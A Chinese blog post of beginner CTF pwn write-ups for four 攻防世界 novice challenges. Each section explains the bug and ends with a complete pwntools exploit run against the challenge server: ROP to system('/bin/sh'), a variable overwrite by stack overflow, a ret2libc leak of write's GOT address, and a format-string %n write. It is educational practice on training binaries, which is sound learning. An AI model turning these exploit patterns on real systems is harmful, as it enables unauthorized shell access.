这是从原来的博客搬过来的,之前刚开始接触pwn学的,现在已经转战web,留作纪念。一下题目均来自攻防世界pwn新手区

level2:

连接题目,发现一个输入口

检查保护措施

打开ida,观察主函数,主函数很简单,调用vulnerable_function后输出Hello,World

进入函数vulnerable_function,buf最大字节长度0x88,比0x100小,存在溢出

观察函数列表,没有发现可以执行shellcode的函数

根据题目信息,需要用到ROP,猜测需要构建函数栈帧。缺少变量,shift+F12查看一下字符串,发现了我们需要的东西

思路:将buf溢出,覆盖read函数的返回地址为_system函数。然后用/bin/sh构建一个栈帧,执行shellcode

_system = 0x08048320

shell = 0x0804A024

payload:’a’*0x88 + p32(1) + p32(_system) + p32(1) + p32(shell) + P32(1)

exp:

1
2
3
4
5
6
7
from pwn import*
res = remote('220.249.52.133',37278)
_system = 0x08048320
shellcode = 0x0804A024
payload = 'A'*0x88 + p32(1) + p32(_system) + p32(1) + p32(shellcode)
res.sendline(payload)
res.interactive()

when_did_you_born:

链接题目,输入口有2个,分别输入出生日期和姓名

查看防御措施,存在Canary,无法构造栈帧

进入ida查看主函数,发现意图明显。第一次输入的Birth不能为1926,当变量V5为1926的时候输出flag。那么推测第二次输入姓名存在溢出,将V5变量覆盖为1926,输出flag

验证猜想正确var_20对应V4变量,var18对应V5变量

构造payload:’A’*8 + p32(1926)

exp:

1
2
3
4
5
6
7
8
from pwn import*
res = remote('220.249.52.133',42242)
payload = 'A'*8 + p32(1926)
res.recvuntil('Birth')
res.sendline('123')
res.recvuntil('Name')
res.sendline(payload)
res.interactive()

get flag!

Level3

链接题目,看一下大致内容

将level3用ida打开查看,进入主函数,内容非常简单

进而进入vulnerable_function查看,发现read函数存在溢出点

观察函数列表,未发现system函数,打开字符串查找未发现/bin/sh字样字符串。题目压缩包附带了一个libc文件,考虑到本题用到ret2libc分析。从libc中载入system函数和/bin/sh字符串,从而达到获取权限目的。

使用ida打开附件libc_32.so.6

搜索到system函数,函数地址为0x3A940

通过命令 strings -a -t x libc | grep “/bin/sh” 查找到/bin/sh在libc中的偏移为15902b

现在我们只需要知道libc的地址,从而计算出system和/bin/sh的地址即可,要想得到libc地址,则需要通过得到write函数的真实地址,用write函数的真实地址减去write函数在libc中的地址便可得到libc的地址。

如何得到write函数的真实地址?用ida打开level3我们发现,write函数的地址属于plt部分,这个并不是write函数的真实地址

而我们知道,动态链接库加载函数的时候,如果是第一次加载这个函数,便会通过plt表中对应位置的代码调用连接器来解析write函数在外部的地址,并且将这个真实地址(write函数的)返回填写到write_got.plt中。而我们需要做的就是通过溢出,首先执行plt中对应的关于write函数的代码,这个时候就会调用连接器查找write函数,并且把write函数真实地址已经存放进了got.plt这个表对应write函数的位置中了。当这个过程结束后,我们再次返回到vulnerable_function这个函数中,再次调用write函数,将参数传入write函数使他输出write函数的真实地址(在got.plt表中对应的位置)这样便获得了write函数的真实地址。

通过ida查找,可以发现:

write_plt = 0x08048340 write函数plt地址
write_got.plt = 0x0804A018 write函数got.plt地址
vulnerable_function = 0x0804844B write函数父函数地址

第一次溢出payload:
payload = ‘A’*0x88 + p32(1) + p32(write_plt) + p32( vulnerable_function) + p32(1) + p32(write_got.plt) + p32(0x4)

‘A’*0X88:填充字符串buf

P32(1):劫持EIP

P32(write_plt):函数返回到此处调用连接器,将write函数真实地址覆盖到got.plt表中

p32( vulnerable_function):函数返回write函数父函数

p32(1) 传入参数1

p32(write_got.plt)传入参数2

p32(0x4)传入参数3

接下来获取write函数的真实地址

write_got_addr = u32(sh.recv())

计算出libc地址:libc_addr = write_got_addr – libc.symbols[‘write’]

计算出system真实地址:sys_addr = libc_addr + libc.symbols[‘system’]

计算bin字符串真实地址:bin_sh_addr = libc_addr + 0x15902b

第二次payload:payload2 = ‘A’*0x88 + p32(1) + p32(sys_addr) + p32(1) + p32(bin_sh_addr) 简单的溢出,劫持eip,覆盖返回地址,返回地址,传参

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

sh = remote('220.249.52.133',49400)
libc=ELF('libc')

#get func address
write_plt = 0x08048340
write_got_plt = 0x0804A018
vulnerable_function = 0x0804844B
payload = 'A'*0x88 + p32(1) + p32(write_plt) + p32( vulnerable_function) + p32(1) + p32(write_got_plt) + p32(0x4)

sh.sendlineafter("Input:\n",payload)


write_got_addr = u32(sh.recv())

libc_addr = write_got_addr - libc.symbols['write']

sys_addr = libc_addr + libc.symbols['system']

bin_sh_addr = libc_addr + 0x15902b

payload2 = 'A'*0x88 + p32(1) + p32(sys_addr) + p32(1) + p32(bin_sh_addr)

sh.sendline(payload2)
sh.interactive()

本题感谢N0p3的大力支持!!!!

CGfsb

老规矩,连接题目,实现类似于留言板的小程序

查看保护措施存在栈溢出保护,DEP保护

ida查看,可以发现,将pwnme变量赋值为8即可获得flag。pwnme上面的一行代码引起了我们的主意。程序直接将printf函数的参数控制权限交给了我们,也就是说这里存在格式化字符串漏洞。我们需要利用这一漏洞将pwnme变为8

想要修改pwnme的值首先就要知道pwnme的地址以及他在栈中的偏移,简单的测试一下。我通过print函数输入了字符串“bbbb-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x”它有什么用?首先,根据printf函数的特性,bbbb被入栈用于输出,而后面的%x由于没有对应的数据输出,那么将会输出栈中每个字节的数据。我们根据输出结果不难发现,首先输出的是bbbb,这是正常printf函数该做的事情,然后连续输出栈中数据,直到我们发现了62626262,这是我们输出的数据bbbb的十六进制。那么数一下就不难发现,我们向printf函数中输入的字符串是存储在栈中第10个字节处,那么我们就可以将pwnme变量的地址保存在第十个字节处,在利用%n写入数据8达到修改pwnme数据的目的。

ida查找到pwnme变量的地址为0x0804A068

pwnme_addr = 0x0804A068

payload:p32(pwnme_addr) + ‘a’*4 + ‘%10$n’

p32(pwnme_addr)首先保存在栈中偏移10个字节的地方,然后用4个a补充4个字节,那么p32(pwnme_addr) + a*4便拥有8个字节 %10$n的意思就是将他前面字符串的字节个数赋值到第10位的地方也就是pwnme地址所在的位置。那么这样pwnme便完成了数字8的赋值。

完整exp:

1
2
3
4
5
6
7
8
9
from pwn import*
res = remote('220.249.52.133',42809)
pwnme_addr = 0x0804A068
res.recvuntil('name')
res.sendline('XJJ')
payload = p32(pwnme_addr) + 'a'*4 + '%10$n'
res.recvuntil('message')
res.sendline(payload)
res.interactive()

get flag!